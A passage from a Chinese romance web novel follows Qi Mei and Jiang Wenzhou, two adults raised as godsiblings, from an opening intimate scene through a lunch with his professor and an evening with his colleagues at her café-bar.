齐眉立刻觉得得意,抱着他的肩膀仰起头,看见浴室里不算明亮的灯光,脚尖下意识绷直。 下一秒后背就撞上了镜柜,镜面的温度有些低,齐眉觉得浑身舒服了一点,忍不住啊嗯地舒出口气。 但还是忍不住嘟囔抱怨:“我热,哥,我热。” 这个时候就爱叫哥了,撒娇极了,但…… 江问舟表示自己此刻不吃这套哈,“你自己挑的在这里,不准反悔。” 齐眉忍不住呜咽起来,不忿地要用腿踢他。 可她的腿是圈在江问舟腰上的,根本踢不到他,反而让他更进一步,愈发和她贴得密实,在她耳边笑着揶揄她:“我们西西怎么这么热情?” 齐眉觉得十分丢脸,抓着他的头发扯了一把,张口就咬住了他的耳朵。 江问舟吃痛,又有些恼她咬在那么明显的地方,动作愈发有些粗鲁,齐眉感觉自己声带像上了发条似的,咿咿呀呀断断续续,却是不绝于耳。 到后来她再也没力气去抱怨浴室太热,甚至连一句整话都说不出来,只能紧紧抓住他的肩膀,以免自己因为浑身失力而摔倒。 谁也不知道时间过去了多久,淅淅沥沥的水声再次响起,温水冲走身上的痕迹,蔓延过每一处被留下深浅不一印记的肌肤,在地砖上砸出噼里啪啦的声响。 齐眉懒洋洋地靠在江问舟身上,让他帮自己涂沐浴露,眯着眼一副快要睡着的样子。 江问舟涂着涂着沐浴露就有点不对劲,先是涂抹,又变成抚摸,那种柔滑细腻的触感实在让他心猿意马。 于是最后又纠缠到一起,齐眉的抗议声还没来得及出口就变得支离破碎,他们像两根不安分的藤蔓,胡乱缠成一团,最后绞成再也分不开的死结。 多像他们的人生,从齐眉八岁开始就缠绕在一起,到如今谁也离不开谁。 等到一切平息,已经是后半夜,齐眉被江问舟用大浴巾裹着抱出浴室,一开门,就听见咪呜一声猫叫。 低头一看,金金不知道已经在卫生间门口蹲了多久,看见他们出来立刻就表示关切。 在小猫看来,这个地方实在太危险啦,人居然还在里面这么久,肯定是遇到了大/麻烦! 江问舟哄了它两句,让它赶紧去睡觉,再抬头一看,年年那个傻狗睡得昏天暗地,感觉打雷都叫不醒它。 于是他一面推开房门进去,一面吐槽道:“还是养猫好吧,它会担心你是不是掉进马桶了,你看你的狗理你吗?” “不准这样说我年年!”齐眉生气,抬手又薅一把他的头发,不忿道,“我的狗抱着我呢!” 江问舟一噎,问她:“这就是你跟你哥说话的态度?” “这就是你对你妹的态度?”齐眉不甘示弱地回怼。 江问舟顿时就笑起来,将她往床上一抛,浴巾滑开的一瞬间立刻俯身压向她。 在她脸上落下一个吻,笑道:“这才是我对我妹的态度。” 他说想起他们的第一次,“那时候我都不敢看你,感觉很奇怪,明明不久之前你还是一个小屁孩,怎么一下就长成大姑娘了。” 那种感觉是很羞耻的,感觉自己像是在做什么见不得人的事,听她喊自己一声哥就不自在得像是浑身生虫,坐立难安。 “后来就不是了,对吧?”齐眉揶揄他。 “变成……”江问舟顿了顿,用鼻尖蹭蹭她的脸,笑道,“再叫一声。” “不叫,你让我叫我就叫,我多没面子。”齐眉哼了声,一面拒绝一面往他怀里贴,要去摸他的腹肌。 江问舟捉住她的手,“不叫不给摸。” “哥,哥,让我摸摸。”齐眉一秒屈服,没办法,现在的江问舟比三年前身材更好,不能摸摸多可惜! 其实最后也没再继续,齐眉摸了两把他的腹肌就抱着他的腰犯困了。 再不睡天都要亮了。 不过在最后失去意识之前,她想起来:“那个什么……你拿回来了么?不能留在卫生间,干爸要是下次再看到……” 那可就完全没法说得清了。 江问舟拍拍她的背,安抚道:“拿回来了,别担心。” 得到肯定的答案,齐眉这才放心地睡了过去。 其实梦境也不见得多安生平静,齐眉做着梦,梦见自己是一株藤蔓,在另一株藤蔓的纠缠下拼命开着花,像是根本不知疲倦为何物。 又像是置身熔炉,灼热的气息不停烧灼着她的神智。 接着被翻身投入汪洋,沉沉浮浮,不知要飘向哪里。 但同时很奇怪的,她竟然还能在某个间隙恢复一丝意识,意识到自己正背对着江问舟,他从背后贴上来…… 但她完全没有多余精力去和他拉扯或是僵持,心想就这样吧,他要够了就好了。 真正恢复意识是听到有人喊她:“西西,起床了,中午了。” 还说:“和老师约好的时间快要到了,再不起来就要迟了。” 老师?齐眉猛然睁眼。 江问舟看她睁开眼,以为她醒了,刚要说什么,就听她抱怨道:“人为什么要上班啊……” 江问舟一愣,没懂她这是什么意思。 什么上班?他刚才提到这两个字眼了吗? 齐眉这时才反应过来,自己搞错了,有些不好意思地抿着唇讪笑一下,把脸往被子里躲。 “……你、你先出去,我、我要换衣服。” “小时候说不想上学,现在说不想上班是吧?”江问舟恍然大悟,有些忍俊不禁,揶揄道,“又不是没见过,看看怎么了?” “……不给看。”齐眉脸上一阵火烧似的,催促道,“你快点出去!” 等江问舟出去了,她才撑起被子往里看了一眼,看见自己身上就没一处完好的地方,不由得一阵无语。 真是让他给爽完了。 齐眉骂骂咧咧地套上睡裙,下地站了一会儿,这才完全清醒过来。 找上衣服就去洗澡,出门看见江问舟在剥鸡蛋,还喊金金和年年:“你们两个家伙,别玩了,过来吃饭,快点。” 她又忍不住有些想笑,想起小时候干妈也是这么喊打游戏的他们。 等她冲完澡出来,江问舟已经做好要出门的准备,还给她做了一杯冰美式,她接过,一边喝一边匆匆回房去换衣服。 ————— 江问舟发现金金最近似乎多了一个爱好,喜欢人家和它玩球。 它会把原来是年年的一个黄色小球叼过来,示意江问舟跟它玩,把球扔出去,它飞奔过去,再把球踢回来,让江问舟再来一次,又来一次。 而且这个过程中它也不要年年,年年要是试图加入,就会被它赏赐一顿猫猫拳。 所以年年只能时不时去骚扰它,其他时候是趴在一旁看着它带球过狗。 江问舟想了想,找来另一个球,一人一个,都来玩。 他一面逗他们玩,还一面拍了视频发给孙茂芸,被问起怎么这么早就在齐眉这儿,他解释说是:【今天要请老师和师母吃饭,特地交代我要带上西西,所以我就过来接她了。】 原来是这样,孙茂芸先是让他一定要请老师去好一点的饭店,接着问他订的是哪家酒店。 江问舟:【容城国际饭店,不过不是总店,是沿江路店,那边离西西那边近,吃完饭我们去她店里坐坐。】 才聊完这件事,齐眉出来了,江问舟扭头去看她,只见她一身简洁装束,黑色中长款伞裙,米白色的针织上衣,一看就是成套的。 头发编成麻花辫别在胸前,将丝巾也编了进去,算是增添两分点缀,除了脖子上最近一直戴着的项链,就只有手上一块手表,浑身素净得很。 可她刚靠近,他伸手搂住她的腰,往前一凑,便看到她藏在衣领之下,肩膀上的一枚牙印,一时不由得失笑。 “笑什么?”齐眉没搞懂,疑惑地看向他。 “没什么,就是笑你今天很漂亮。”江问舟笑着摇摇头,顺便帮她拉了一下衣领。 齐眉见他不说,也就不问了,换话题问道:“和老师他们约在哪儿?” “国际饭店沿江路店。”江问舟回答道,低头又把金金叼来的球往阳台一扔,它立刻就冲出去了。 “哟,小狗猫。”齐眉看了一乐,笑着调侃一句,才接着问,“下午……你同事们要去店里吗?去的话我让清葭姐多做一个蛋糕,记在我账上。” 江问舟点头应了声好,搂着她的腰亲昵地吻一下她的耳朵,笑道:“看来我也是用上夫人外交了。” “……去你的。”齐眉被他说得不好意思,一把将他推开,自顾自往门口走去。 她弯腰在鞋柜里找鞋,还没找到呢,先察觉背后摸上来一只手。 江问舟竟然拍了拍她屁股。 齐眉觉得腿一软,差点要往前栽过去,她扶着柜门回头瞪他一眼:“……你干什么?!” “我没干什么呀。”江问舟一脸的惊讶和茫然,还反问她,“反应怎么这么大?” 这人可真够讨厌的,坏事敢做不敢认,齐眉咬咬牙,转身腻过去,贴在他怀里,秀气纤长的指尖戳戳他胸口。 盯着他的眼睛问:“真的什么都没做吗?” 她似乎并不需要她的回答,这只是她转移他注意力的小伎俩,因为话音刚落,她的手就已经搭上他的小腹。 轻轻揉了几下,大有继续向下的趋势。 江问舟先是一愣,随即瞳孔一缩,浑身的血液像是被投入了一块烧得最红的碳,立刻开始加温。 察觉他的呼吸顿住,齐眉的眼睛立刻就弯了起来,按了一下他衣衫下紧绷的肌肉,故作不解地问他:“哥你怎么啦,怎么反应这么大?” 江问舟一噎,这不废话么,她这么摸,他没反应才该反应大吧:) 但她脸上的表情和他刚才简直如出一辙,明摆着就是故意报复,又让江问舟哭笑不得。 “……你也是学会有仇当面就报了。”他揪了一下她鼻尖,盯着她的眼睛问,“要不……我跟老师他们说你不舒服,我们改天再约?” 这下轮到齐眉一噎,半晌才忍无可忍地怒斥:“穿件衣服吧江问舟!” 江问舟顿时忍俊不禁,又伸手拍拍她的后腰,然后看一眼被她拿出来的平底鞋,迅速转移话题:“怎么不穿高跟鞋?” 这件裙子如果配高跟鞋,会显得她更加修长而风姿绰约。 齐眉摇摇头,半真半假地叹口气:“年纪大啦,穿高跟鞋累脚。” 江问舟乜她一眼,半晌才说:“你最好是。” “当然是啦!”齐眉立刻应道,语气理直气壮,“你问问干妈,还有你的女同事,是不是这样。” 江问舟也没说信还是不信,只盯着她的眼睛看了一会儿,才点点头道:“那就好。” 齐眉知道他还是担心自己,但也不知道该怎么说。 这种事光靠说的其实没意义,你说你很好,可是我没有办法仅从你的话语里就确认你真的很好。 齐眉拉过他的手,捏捏他的手掌,冲他露出一个笑脸。 江问舟见状便低下头,和她碰了碰额头。 “走吧,再不出门真的要迟到了。” 齐眉点头,一面打开门,一面对在后面看着他们的金金和年年说:“你们俩在家好好的哦,不要拆家。” 金金听到她说话,立刻就跑过来,仰着头冲她咪呜一下。 “我们晚上就回来啦。”齐眉弯腰伸手揉揉它脑袋,“你和妹妹好好在家,好不好?” 小猫不会说话,但是小猫会亲昵地蹭蹭她的手心。 齐眉顿时心软,问江问舟:“你说,我们先把它俩送去店里,再去饭店,来得及吗?” 江问舟有些无奈地道:“你让店里的人出来路口接,我们不下去,应该来得及。” “那我跟清葭姐说。”齐眉立刻找它们的牵引绳,语气欢快起来,“我们可以一起出门啦,走咯!” 看着他们走在前面轻快的背影,江问舟不由得失笑。 因为要送两个小的先去店里,江问舟便绕了路,从思齐路那边走,等两个小的被任清葭接走,他们过学院路,拐进沿江路,很快就看见饭店的广告牌了。 到的时候正好是中午饭点,俩人在大堂找到比他们先到几分钟的郭教授和爱人。 原本江问舟是要订包厢,但郭教授说那样没意思,就几个人在包厢,太安静了,没感觉,反正也没什么要紧事要聊,不如坐大堂。 见到他们,郭教授的爱人沈老师立刻起身来拥抱齐眉,摸着她的脸颊心疼道:“怎么瘦了啊,这小江真是的,不会照顾人,跟他老师一个样。” 说到这里顿了顿,又拍拍她后背,嗔怪道:“那时候的事你怎么不跟我们讲,自己扛着多辛苦,你啊你……” “好了好了,不要讲那些陈年旧事了,都过去了嘛。”郭教授连忙打断妻子的话,让她们先坐下。 沈老师连忙答应道:“对对,这都是过去的事了,姓方的已经倒霉了,咱们还有大好日子要过。” 说着笑眯眯问道:“我听小江说,你开了家店?这么厉害啊。” “是跟表嫂合伙的,因为铺面是自家的,没有房租压力,店里的人又是舅舅和表哥安排的,我都没怎么管过事。”齐眉有些不好意思地摇摇头。 又忙关心她的身体:“您的手现在好点了么?” 沈老师原来是申城一中的化学老师,大概七八年前在一次辅导学生做化学实验时,一位学生操作不当,导致了实验事故,虽然处理得及时,没太大财产损失,但沈老师的右手却炸伤了,经过治疗后基本恢复功能,但却落下了容易手抖的毛病,郭教授琢磨着她年纪也差不多了,于是劝她提前内退。 家里不缺她的这份工资,却缺她这个人,孩子远在新疆工作,要回来还不知道什么时候,要是她有个三长两短,这个家非得垮了不可。 但她退休了也闲不住,整日忙里忙外,最爱给江问舟他们张罗聚餐,说这些孩子都远离家里孤身在外,好容易进了师门,那就是缘分一场,她当师母的就是半个妈,妈照顾孩子很正常嘛。 江问舟能和同门关系这么好,跟她有着莫大关系。 齐眉没少跟着江问舟去蹭饭,那时候她是一群人里年纪最小的,沈老师就特别关照她。 “就那样吧,老郭让我去做针灸看看,我约了省中医针灸科的号,下周就去看看。”沈老师笑着回答道。 “去试试也好,我听家里人和邻居都说那边的医生技术都不错的。”齐眉点点头,看一眼江问舟,问他点菜了没有。 江问舟会意,打开菜单,同郭教授商量起来:“这儿的卤牛肉好吃,来一份?” 之后就是很传统的容城菜,贵妃鸡、清蒸鲈鱼和叉烧这些,四个人,点了六菜一汤,好在分量都不大。 至于甜品,齐眉说:“这就不要了吧,待会儿我们去店里吃杨枝甘露啊?一碗杨枝甘露,里面还放一个整只的冻芒果,冰冰凉的,很适合这个天气。” “听着就很舒服。”沈老师笑道。 就四个人吃饭,聊的话题也寻常,要么是郭教授和江问舟聊一下实验和工作,要么是他们问问齐眉。 听说她在机场上班,还很好奇她平时都要做什么。 听完了说:“那是不是以后我们出去回来,出来就能见到你?” “今年是这样,我们点位是一年一换,明年不在这个位置了,可能是去国际出发区,或者T2航站楼,不过明年T3航站楼就要正式投入使用了,被分去那边也有可能,但不会是在二十四小时医疗中心,因为我们组去年已经轮过了。” 齐眉一面解释,一面接过江问舟给她舀的汤。 “那你的工作关系,是机场的,还是航空公司的?”郭教授问道。 “机场。”齐眉回答道,“归属于机场集团的民航医院,我们是属于医院急诊科的。” “那还不错,国企也稳定。”郭教授点点头,“虽然以后可能评不上什么杰青什么教授了,但平平安安,衣食无忧,也是好事。” 齐眉听了就点点头,乖巧地应是。 吃饭的时候,郭教授留意了一下齐眉的状态,见她眉眼平和舒展,想来以前那件事对她的影响应该已经过去了。 于是犹豫了一下,没提方仕平和他女儿方智馨的近况。 国际饭店是老牌酒楼了,很多人商务宴请都在这儿,出品兴许不是特别有特色,但每一道菜都很合格,没有踩雷的地方,大家吃得倒也尽兴。 等吃完饭,要结账的时候,齐眉就看着江问舟和郭教授抢谁来结账。 一个说:“是我要请您和师母吃饭,说好了的,您不能这样。” 另一个说:“我们一般是长辈请孩子吃饭,没有反过来,你别抢。” 看了一会儿,她觉得他们再争也争不出什么结果了,于是冲沈老师看了眼,指指去收银台的方向。 沈老师笑眯眯地点点头,孩子要尽心,她一贯是不拦着的,反正还回去的方法多着呢。 于是等江问舟和郭教授理论完,齐眉都已经结好账了,服务员过来给茶壶加水的时候,顺便在齐眉面前放了个“多谢惠顾”的红色心形小立牌。 这是国际饭店的做法,区分已经结账和还未结账的客人,结账的客人还可以继续坐着闲聊,要茶水也会提供。 江问舟一看便笑了,抬手拍拍她后脑勺,神色略微有点得意似的。 几人略坐片刻,喝了杯茶,就从饭店离开了。 大概下午一点刚过,他们就走进了No.12Diner&Lounge的大门,沈老师还站在门口往外看,笑道:“这边还挺荫凉,也安静。” “白天安静,晚上热闹。”齐眉指着往里的方向,“烧烤店什么的都有,夜市生意还可以,附近的上班族和学生都愿意来,这条路出去到对面不远,就是音乐学院的堕落一条街了。” “还是学生的钱好赚啊。”郭教授笑着摇摇头。 不挣钱的时候花钱最不心疼了,大家都不由得失笑。 进了店里,齐眉安排好他们的座位,去吧台问白天班的咖啡师:“小丁,我姐呢?” “清葭姐在楼上哦,来了DIY蛋糕的客人。”对方一面应,一面忙着手里的咖啡,还问齐眉喝什么。 “给我来杯热拿铁,然后来三份杨枝甘露,加冰冻芒果那种。” 东西没一会儿就端了上来,冰凉凉的,这个时候吃最惬意,外面是三十六七度的高温,他们在这儿吹着空调吃着冰镇的甜品,别提多舒服了。 “看起来店里生意还不错,都快坐满了。”沈老师环顾一圈笑道。 齐眉笑着应了声还可以,又起身去厨房找水果。 坐下没多久,任清葭就下来了,看见齐眉,立刻便过来打招呼,聊了两句又去继续忙。 到了下午差不多五点,郭教授夫妻俩就告辞回去了,临走还跟齐眉开玩笑:“好好跟你哥说说,争取以后我们科里聚餐,吃完饭再来你这儿续摊,到时候我也来喝一杯。” 齐眉忍俊不禁:“那我还不如跟您套套近乎呢,您可是他们的老大。” 说笑着送他们出去,齐眉和江问舟看着车子走远了,这才转身往回走。 “你同事什么时候来啊?”齐眉问道。 江问舟伸手去勾她的手指,“说是现在集合了,他们要一起过来。” 说着得寸进尺地将她的手整个包住。 齐眉立刻把他的手甩开,啧了声:“注意点影响!” 江问舟抿着唇笑起来,被她瞪了一眼。 他们谁都没有发现,就这一个动作,却被店里的人无意中看在了眼里。 第52章 第五十二章(二合一)能做自己喜欢的…… 傍晚六点,No.12Diner&Lounge员工换班,门口的灯箱亮起来,多彩的灯光闪闪烁烁。 齐眉拿了围裙,站在吧台前穿着,江问舟坐在吧台对面的一张桌边,看着外卖软件,问齐眉:“想吃什么?” 问完没等齐眉答应,他就想起来:“哦,还有你的药,热了吗?” 齐眉穿好围裙,揉揉耳朵:“……一会儿就热。” 任清葭这时从楼上下来了,急匆匆要走,说陆阳那边有事,“改天请你们吃饭,我先走了,拜拜。” “路上小心啊!”齐眉连忙提高音量说了句,接着扭头看向还在收拾吧台的白班员工,笑眯眯道,“你们也快点下班吧,现在这里是我们的主场了。” 大家都笑着应好,倒是咖啡师带的学徒没说话,有些好奇地在齐眉和江问舟之间打了个转,欲言又止地抿住唇。 到底是什么也没问,其他人,包括齐眉本人,也都没发现这点不对劲,早晚班两套人马顺利交接,晚市开始了。 佟林按照习惯先切歌,下午咖啡厅里悠扬的钢琴曲被暂停,“你们说我今晚放哪个歌单好呢?” 齐眉刚说了句都可以,后厨的汪淼就探出头,一边搅着盆里的面糊,一边说:“佟哥,我要点歌。” “行,你点呗,想听啥?”佟林爽快答应道。 “就那个……”汪淼轻轻哼起来,用不怎么标准的容城话唱,“万水千山总是情~” “我住的那里,好像有个小区组织的老年合唱团,不知道是不是有什么比赛,叔叔阿姨们天天下午都排练,就唱这首歌。” 他觉得老歌太好听了,佟林便道:“那就这么定了,今晚是老歌专场。” “那是多老啊?”齐眉笑嘻嘻地搭腔,“放首《上海滩》看看实力。” “这还不简单?” 佟林话音刚落,店里便响起熟悉的前奏。 江问舟点好了外卖,坐在吧台边,撑着腮看着齐眉笑起来,神色揶揄之间仿佛还有些怀念,目光柔软得有些过分。 “……怎么?”齐眉愣了一下,还是问了一声。 江问舟深吸口气,摇摇头问道:“你还记不记得以前……我们、你拍的一组照片?冯程程同款。” 准确点说,是他们一起拍的,那是有一年冬天申城竟然难得的下起雪,齐眉高兴坏了,拽着他就要出去拍照。 她穿着新做的丝绒旗袍,外面穿着大衣,将头发梳成两条辫子,眉眼俏丽又活泼,是真的有老版《上海滩》里冯程程的神韵的。 南方城市的雪都是湿的,落在身上会沾湿头发和衣服,申城的也一样,所以她让江问舟给她撑伞。 “我又不是许文强。” “我管你是不是,快点快点,一会儿雪停了!求求你了,哥!” 他一面吐槽她真是鬼点子多,想一出是一出,一面从衣柜里找出他参加比赛才会用得上的正装,又庆幸自己本来就有大衣。 然后在看见她时,对她露着脚踝穿高跟鞋的行为颇有微词:“冻感冒有你好受的。” “快点拍完就没事了嘛!”她笑嘻嘻地将准备好的道具伞递给他。 拍照的人是同校信息学院的一位学妹,学妹爱好摄影,是摄影社的成员,平时也会在网上接私拍的单子,齐眉一叫她就来了。 那时他们还没有在一起,可是后来看照片,他发现自己撑着伞侧脸看向她的目光竟然如此柔软。 喜欢和咳嗽一样,其实无法隐藏。 听他提起那组照片,齐眉微微一愣,才回答道:“在家呢,在……我放我房间了,你要看啊?” 边说边冲他眨眼睛使眼色,江问舟也回她一个眨眼睛的动作,淡定地嗯了声:“改天拿给我看看?” “……好。”齐眉一囧,顿了顿,才像是随口闲聊似的,说了句,“应该能找到,我记得是放在左边床头柜的抽屉里?我回去找找看。” 看他们这哑谜打的,江问舟顿时失笑。 外卖送来的时候天还早,店里没几个客人,齐眉一边吃着江问舟给她点的牛肉卷饼,一边听田乐吐槽她最近开始吃素的朋友。 “她以前也*爱吃肉的,我们出去吃饭都是无肉不欢,结果喜欢上现在这个男的,男的说她太胖了,她就立刻开始减肥,男的说吃肉是杀生,吃素对身体好,她也跟着吃,搞得我们现在都不想跟她一起吃饭,桌上一片绿有什么可吃的,还得听她说那男的多好,给她买袜子算什么好?我真是受够了!” 噼里啪啦说了一长串,中间一口气都不停,听起来就怨气十足,像是已经忍了很久很久。 齐眉靠在出餐窗口便,一边啃着卷饼,一边和汪淼你一言我一语地评论这人:“人就是要吃肉的,不吃肉怎么行呢,长期不吃肉会导致免疫力下降,会贫血,会没力气,头发和皮肤也会变差,什么骨质疏松、月经不调、容易感冒就都来了。” “这男的有问题,他觉得吃素好就自己吃呗,干嘛让人家也吃?” “就是,他还说你朋友胖,你朋友多高多重啊?” 田乐闻言大翻白眼:“167,八十五斤,这还是吃素之前的,现在更瘦了。” “……这么瘦!”齐眉震惊,看一眼正在吧台对面的桌边剥小龙虾的江问舟,才说,“比我高,还比我瘦!” 田乐的注意力一下就歪了,扭头打量她:“也没有比你高吧?感觉差不多,但她真的比你瘦,她胳膊没肉的,感觉来个人用点力气就能把胳膊扭断。” “……别拿两厘米不当身高。”齐眉吐槽一句,又哆嗦一下,“这要是遇上什么事,是不是跑也跑不快,打也打不过?” 田乐一脸痛苦:“你别说,还真别说……确实是这样的……” 那一把骨头,她打得过谁啊?! “乐姐,你这朋友挺恋爱脑啊。”汪淼说了句。 恋爱脑,听到这个形容词,齐眉咀嚼的动作慢了下来,不由自主地扭头去看江问舟,多少有点不自在。 江问舟还在埋头剥小龙虾,根本没往她这边看的意思。 齐眉莫名地松口气。 “她就是恋爱脑,踩过无数的坑,每次都遇到渣男,她每次都不长记性。”田乐无奈地叹气。 “她都这么瘦了他还说她胖,让她减肥,这不是PUA是什么?我们都还没嫌他肌肉量不够呢,连老佟都比不上!” 佟林听到表示无语:“这关我什么事?” “哎呀,这不是就你在吗,说顺嘴了,意思意思,别生气嘛。”田乐连忙说不好意思,吐吐舌头。 “你怎么不拿小汪举例?” “肯定比不过小汪啊,小汪胳膊比你的还大!” 齐眉哈哈大笑,佟林翻了个白眼,看见江问舟了,立刻就说:“那你怎么不拿江医生举例?” 啊这…… 齐眉的笑声戛然而止,立刻扭头去看江问舟。 田乐刚想说我和人家又不熟,开玩笑哪有跟不熟的人开的,就听齐眉先说话了,语气忿忿:“我……我哥才不会做这么没品的事!” 江问舟本来听见他们提到自己还有些惊讶,怎么好好的,突然就说到他了? 刚抬起头,就听见齐眉这么一句,顿时有些忍俊不禁。 不等他说什么,就听齐眉忽然接着说了句:“我哥就从来不对我嫂子提这种无理的要求!” 江问舟:“????” 什么玩意儿?你再说一遍?嫂子,你哪儿来的嫂子,你是在说你自己? 他噎得根本不知道说什么才好,只能震惊地看向齐眉。 看见她正朝自己看过来,脸上的笑里藏着恶作剧成功的得意,顿时哭笑不得。 “……是啊,我不会对我女朋友提这种要求,因为根据BMI指数来看,她的身高体重都很适合,人是要健康才好。” 他已经很努力地让自己保持语气的平稳和镇定了,但还是觉得…… 我特么在说什么乱七八糟的,感觉好奇怪:) 齐眉脸上的笑一顿,似乎没想到他会顺着自己突如其来的“灵机一动”玩下去。 田乐立刻好奇地问:“阿眉你居然有嫂子啦?” 她随后想起店里的另一位老板任清葭其实也是齐眉的嫂子,表嫂嘛,于是她立刻哦哦两声:“你是说清葭姐和你表哥啊?” 齐眉眨眨眼,立刻点头:“对,就是说阳哥。” 脸上神色一本正经,江问舟看得嘴角一抽,要不是她刚才给他使眼色,他还真的以为她是在说陆阳。 田乐听了齐眉的回答信以为真,但佟林却觉得有点不对劲。 他刚才是说江医生,齐眉紧接着就说“我哥如何如何”,按照这个顺序,难道不该是说江医生? 但没等他提出疑问,进门处就传来一阵动静,有客人正在门口探头探脑,朝里面张望着什么。 店里的服务员刚说了句你好,还没问有什么需要的,就听他们说:“是这儿,我看见老大了!” “……外面就能看见,有窗……你是不是傻。” 齐眉扭头,正好看见落地窗外的秦一鸣,刚想叫江问舟,就见他抬头冲秦一鸣抬抬下巴,使了个眼色。 秦一鸣比划了一个OK的手势,转身朝门口走去。 没一会儿店里就热闹起来,陈妍笑嘻嘻地同齐眉打招呼,先说了句打扰,接着又对江问舟说:“原来老大你妹妹长这么漂亮啊,之前见过那么多次,都戴着口罩,搞得我都不识庐山真面目。” “你这么有文化啊?!”蔡朝这个住院总难得能在休息日出来,对别的东西更好奇,问齐眉,“咱们家招牌是哪个?” 齐眉指指田乐和佟林:“经典的威士忌酸、金菲士、盘尼西林之类都有,具体风味可以让我们的调酒师跟你介绍一下哦,不知道选哪个也可以说一下自己想尝试的口味,让调酒师给你推荐。” 蔡朝还没回答呢,陈妍就抢着说:“我想喝杯甜的,但是不能太腻,要清爽点的,妹妹有什么可以推荐的吗?” “蜜蜂的膝盖怎么样?柑橘风味,结合了金酒、柠檬汁、蜂蜜和橙汁,味道酸甜清爽,还有蜂蜜带来的花香。” 听齐眉说完,陈妍立刻点头:“那就来一杯尝尝,谢谢妹妹。” 齐眉笑眯眯地应好,接着听江问舟报了个年份,道:“我要是没记错的话,陈妍是这一届的吧,这比我……妹妹要低一届,所以……” 大家闻言就笑起来,说她占齐眉便宜,明明她还是最小的。 “……干嘛干嘛!老大的妹妹就是我妹妹,有什么问题吗!”陈妍无语了一下,立刻反驳道。 确实也是没什么问题,就是让大家爱逗她几句罢了。 别说逗她了,秦一鸣连江问舟也逗:“老大,剥的这些小龙虾,是给我们的吗?” 边说边要伸手:“让我先尝一个。” 江问舟啧了声,嗔怪地挡开他的手,示意另一张桌子:“你们的在那儿,要吃自己剥。” 说完把剥好的小龙虾肉和面拌在一起,递给齐眉:“趁还没什么人,你先把晚饭吃了。” “我吃了饼了。”齐眉摆摆手,有点抗拒。 “面就一口,再说你那个饼多大我还不知道么。”江问舟把碗放她面前,“赶紧吃了,不然我跟爸妈说你在偷偷减肥?” 齐眉:“……” “我明明是光明正大在减!”她嘟囔道,还是端起了餐盒。 然后示意他:“趁着人少,带师兄师姐们找个好位置坐嘛,不然一会儿合适聊天的好位置就没了。” 江问舟点点头,开玩笑说:“走吧,齐老板让我们别在这儿围着,她说她不想听我们聊天。” 齐眉:“……”你小子当着我的面颠倒黑白是吧?! ————— 傍晚的天色很快变暗,迅速过度到华灯初上。 店门一次又一次被推开,客人们陆续将店里的空桌填满,开始热闹起来。 陈妍他们一边吃着江问舟叫的外卖小龙虾,还有在店里点的炸鸡,一边环顾四周,跟他说:“这上客率,你妹妹这店的生意不错啊?” “现在天热是旺季,生意能好点,淡季就不好说了。”江问舟摇摇头道。 陈妍很好奇:“开这样一个酒吧,一个月能挣多少?比我们上班挣吧?” 江问舟一噎,好家伙,还是第一次听到有人这么比较的。 他有些无奈地摇摇头:“不清楚,也许吧。” “可是……”他又接着说了,“每天工作到晚上十二点以后才下班,第二天可能还要七点就起来上班,多少人能长期坚持下来?” 他提醒陈妍:“你忘了第一次见她是在哪儿了?” “机场呗。”陈妍应道,说完才恍然大悟,“那是够呛,两份工一起打,这边还得自负盈亏,房租水电人工进货,都要自己头疼。” “倒是没有房租,这个铺面是自家的。”江问舟叹口气,“要不是这样,会更难做得起来。” 秦一鸣啧了声:“要是我,就把铺面租出去了,这边店租不便宜吧?一年二十万总该有,那还不用自己操心,休息日想干什么就干什么了。” “这话也跟她说过,她不愿意。”江问舟忍不住吐槽,“而且这原来是人家的主业,要不是家里实在担心做生意不稳定,她连机场那份工都不想去。” 他说起当时家里的兵荒马乱:“没人知道她为什么要这样选择,辛苦读了八年临床,进一步继续读博,退一步社区医院,似乎都有选择,但她就是不想。” 父母想不通,不知她这是对这个职业已经失望,同时又没有很喜欢这份工作,所以她的决定是没问题的,只是别人不了解内情,才无法理解罢了。 他虽然知情,但以他们当时降至冰点的关系,他什么都不能说,一来可能会惹怒她,二来也很难在隐瞒实情的情况下,拿出足够的理由说服父母专为支持她。 不过好在现在一切都过去了。 “读了临床也不一定非得干这行。”秦一鸣笑道,“不过要转行的话,确实越早越好,虽然都说沉没成本不参与重大决策,但这成本能少一点是一点。” 蔡朝啃着炸鸡腿,说起自己的同学:“毕业干了两年就跑了,去了游戏公司做文案,也忙,经常看她朋友圈都是晚上十一二点才发的,但感觉她还挺乐在其中,我们同学之间有时候聊天说起来,觉得也挺好的。” 就算你能活到一百岁,人生也就三万多天,能做自己喜欢的事,让自己过得快乐点,为什么不呢? 江问舟点点头笑道:“是这么说,所以家里现在都觉得她这样还不错,尤其是还有我在做对比,加上这两年医疗环境越来越紧张,她这样虽然累一点,但至少不用担心……对吧?” 大家一听就忍不住啧声:“这也太地狱笑话了,跳过跳过,切话题!” 可这样一群人凑在一起,不聊工作上的事,聊私事又有点不知道聊什么,于是江问舟去问齐眉有没有扑克牌之类的玩具。 “扑克牌被借走啦。”齐眉一边摇着雪克壶,一边回答道,“还有一副桌游,玩是挺好玩的,而且你们有好几个人,能玩,就是可能要很久,要不要?” “是什么的桌游?”江问舟一年问,一面在心里算时间,“四五个小时还不够?” “《大西部开拓者:新西兰》,感觉最少都要三小时以上。”齐眉耸耸肩,“不过我们玩过六个小时的,后半段还疯狂加速,不然要更久才能结束。” 江问舟就说试试吧,“反正打发时间,没玩到最后也无所谓,难不难?” “那倒是不难,可以造房子、剪羊毛什么的,还挺有意思。”齐眉应道,将摇匀的酒过滤到冰杯里。 等调好的酒被端走送去给客人,她这才抽出手来,在吧台底下的柜子里翻找起来。 没一会儿,她端了个桌游的盒子上来,同时端上来的还有一盘水果,有橙子有蓝莓有菠萝有火龙果,还有荔枝,说是果盘吧,感觉复杂得不太像,可要是说不是果盘…… 江问舟一愣,忍不住问道:“……这是?” 齐眉嘘了声,用气声跟他说:“别声张,悄悄端走,好吗?” 江问舟哦了声,但还是有些不太明白,“所以……这不是菜单上的?” 这就是隐藏菜单吗? 一旁的田乐听见,忍俊不禁地嗤了声,说:“这当然不是菜单上的了,这是偷吃诶,这些水果要么用来榨果汁要么用来做装饰,怎么可能是果盘啦!” 江问舟:“???” 他看向齐眉,只见她一脸讪讪,分明有些躲闪,立刻便知道这是真的了。 “……你自己偷吃就算了,还让我们一起偷吃啊?”他忍俊不禁地揶揄道。 齐眉有些尴尬,眼神飘了一下,随后又变得理直气壮:“自己家的东西,算什么偷!” 说完了又露出一丝委屈的表情:“我都只吃橙子屁股。” 